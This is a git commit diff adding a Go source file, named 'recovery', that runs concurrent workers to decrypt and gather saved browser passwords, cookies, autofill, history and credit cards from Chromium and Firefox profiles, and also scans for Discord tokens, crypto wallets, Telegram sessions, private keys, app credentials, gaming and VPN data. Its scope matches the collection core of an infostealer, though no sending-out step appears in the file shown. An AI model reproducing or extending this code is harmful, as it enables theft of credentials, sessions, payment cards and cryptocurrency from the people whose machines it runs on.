initial commit
This commit is contained in:
@@ -0,0 +1,399 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/chromium"
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/discord"
|
||||
"recovery/recovery/firefox"
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/scanner"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func mergeInto(dst, src *types.CollectionResult) {
|
||||
dst.Passwords = append(dst.Passwords, src.Passwords...)
|
||||
dst.Cookies = append(dst.Cookies, src.Cookies...)
|
||||
dst.Autofill = append(dst.Autofill, src.Autofill...)
|
||||
dst.History = append(dst.History, src.History...)
|
||||
dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
|
||||
dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
|
||||
dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
|
||||
dst.Files = append(dst.Files, src.Files...)
|
||||
dst.Wallets = append(dst.Wallets, src.Wallets...)
|
||||
dst.Telegram = append(dst.Telegram, src.Telegram...)
|
||||
dst.Keys = append(dst.Keys, src.Keys...)
|
||||
dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
|
||||
if src.Gaming != nil {
|
||||
dst.Gaming = src.Gaming
|
||||
}
|
||||
if src.VPNs != nil {
|
||||
dst.VPNs = src.VPNs
|
||||
}
|
||||
dst.Errors = append(dst.Errors, src.Errors...)
|
||||
}
|
||||
|
||||
func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
|
||||
result := &types.CollectionResult{}
|
||||
|
||||
platform.ResetHandleCache()
|
||||
defer platform.ResetHandleCache()
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
wg sync.WaitGroup
|
||||
)
|
||||
|
||||
launchScans(opts, result, partialFn, &wg, &mu)
|
||||
|
||||
platformSetupCollect()
|
||||
defer platformTeardownCollect()
|
||||
|
||||
needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
|
||||
opts.History || opts.Bookmarks || opts.CreditCards
|
||||
|
||||
type job struct {
|
||||
cfg types.BrowserConfig
|
||||
keys *types.ResolvedKeys
|
||||
profile types.ProfileInfo
|
||||
pids []uint32
|
||||
}
|
||||
|
||||
jobCh := make(chan job, 64)
|
||||
|
||||
// Launch extraction workers up front so they can consume jobs as soon as
|
||||
// each browser's keys resolve, instead of waiting for every browser's key
|
||||
// resolution (and its headless spawn) to finish first.
|
||||
const workers = 4
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("browser profile extraction", &result.Errors, &mu)
|
||||
for j := range jobCh {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
func() {
|
||||
defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
|
||||
partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
|
||||
mu.Lock()
|
||||
mergeInto(result, partial)
|
||||
mu.Unlock()
|
||||
if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
|
||||
len(partial.Autofill) > 0 || len(partial.History) > 0 ||
|
||||
len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
|
||||
partialFn(partial)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if needsBrowserData {
|
||||
const keyWorkers = 3
|
||||
sem := make(chan struct{}, keyWorkers)
|
||||
var keyWg sync.WaitGroup
|
||||
for _, cfg := range browser.Browsers {
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
if len(profiles) == 0 {
|
||||
continue
|
||||
}
|
||||
keyWg.Add(1)
|
||||
go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
|
||||
defer keyWg.Done()
|
||||
sem <- struct{}{}
|
||||
defer func() { <-sem }()
|
||||
|
||||
logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
|
||||
keys, err := crypto.ResolveKeys(cfg)
|
||||
if err != nil {
|
||||
logf("%s key resolution failed: %v", cfg.Name, err)
|
||||
keys = &types.ResolvedKeys{}
|
||||
mu.Lock()
|
||||
result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
|
||||
mu.Unlock()
|
||||
}
|
||||
pids, _ := platform.FindProcesses(cfg.ProcessName)
|
||||
|
||||
for _, p := range profiles {
|
||||
select {
|
||||
case jobCh <- job{cfg, keys, p, pids}:
|
||||
case <-ctx.Done():
|
||||
logf("collection deadline reached; stopping job producer for %s", cfg.Name)
|
||||
return
|
||||
}
|
||||
}
|
||||
}(cfg, profiles)
|
||||
}
|
||||
|
||||
go func() {
|
||||
keyWg.Wait()
|
||||
close(jobCh)
|
||||
}()
|
||||
} else {
|
||||
close(jobCh)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
if err := ctx.Err(); err != nil {
|
||||
note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
|
||||
result.Errors = append(result.Errors, note)
|
||||
logf("%s", note)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
|
||||
if opts.Discord {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("discord token extraction", &result.Errors, mu)
|
||||
tokens := discord.ExtractTokens()
|
||||
if len(tokens) > 0 {
|
||||
mu.Lock()
|
||||
result.DiscordTokens = append(result.DiscordTokens, tokens...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{DiscordTokens: tokens})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Files {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("file scan", &result.Errors, mu)
|
||||
files := scanner.ScanFiles()
|
||||
if len(files) > 0 {
|
||||
mu.Lock()
|
||||
result.Files = append(result.Files, files...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Files: files})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Wallets {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("wallet scan", &result.Errors, mu)
|
||||
wallets := scanner.ScanWallets()
|
||||
if len(wallets) > 0 {
|
||||
mu.Lock()
|
||||
result.Wallets = append(result.Wallets, wallets...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Wallets: wallets})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Telegram {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("telegram scan", &result.Errors, mu)
|
||||
sessions := scanner.ScanTelegram()
|
||||
if len(sessions) > 0 {
|
||||
mu.Lock()
|
||||
result.Telegram = append(result.Telegram, sessions...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Telegram: sessions})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Keys {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("key scan", &result.Errors, mu)
|
||||
keys := scanner.ScanKeys()
|
||||
if len(keys) > 0 {
|
||||
mu.Lock()
|
||||
result.Keys = append(result.Keys, keys...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Keys: keys})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Apps {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("app credentials scan", &result.Errors, mu)
|
||||
apps := scanner.ScanApps()
|
||||
if len(apps) > 0 {
|
||||
mu.Lock()
|
||||
result.AppCredentials = append(result.AppCredentials, apps...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{AppCredentials: apps})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Gaming {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("gaming scan", &result.Errors, mu)
|
||||
gaming := ScanGaming()
|
||||
if gaming != nil {
|
||||
mu.Lock()
|
||||
result.Gaming = gaming
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Gaming: gaming})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.VPNs {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("vpn scan", &result.Errors, mu)
|
||||
vpns := ScanVPNs()
|
||||
if vpns != nil {
|
||||
mu.Lock()
|
||||
result.VPNs = vpns
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{VPNs: vpns})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
|
||||
partial := &types.CollectionResult{}
|
||||
var (
|
||||
wg sync.WaitGroup
|
||||
eMu sync.Mutex
|
||||
errs []string
|
||||
)
|
||||
label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
|
||||
|
||||
if cfg.IsFirefox {
|
||||
if opts.Passwords {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" password extraction", &errs, &eMu)
|
||||
partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Cookies {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
|
||||
partial.Cookies = firefox.ExtractCookies(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.Autofill {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
|
||||
partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.History {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" history extraction", &errs, &eMu)
|
||||
partial.History = firefox.ExtractHistory(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.Bookmarks {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
|
||||
partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
partial.Errors = errs
|
||||
return partial
|
||||
}
|
||||
|
||||
if opts.Passwords {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" password extraction", &errs, &eMu)
|
||||
partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Cookies {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
|
||||
partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Autofill {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
|
||||
partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.History {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" history extraction", &errs, &eMu)
|
||||
partial.History = chromium.ExtractHistory(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Bookmarks {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
|
||||
partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.CreditCards {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" credit card extraction", &errs, &eMu)
|
||||
partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
partial.Errors = errs
|
||||
return partial
|
||||
}
|
||||
Reference in New Issue
Block a user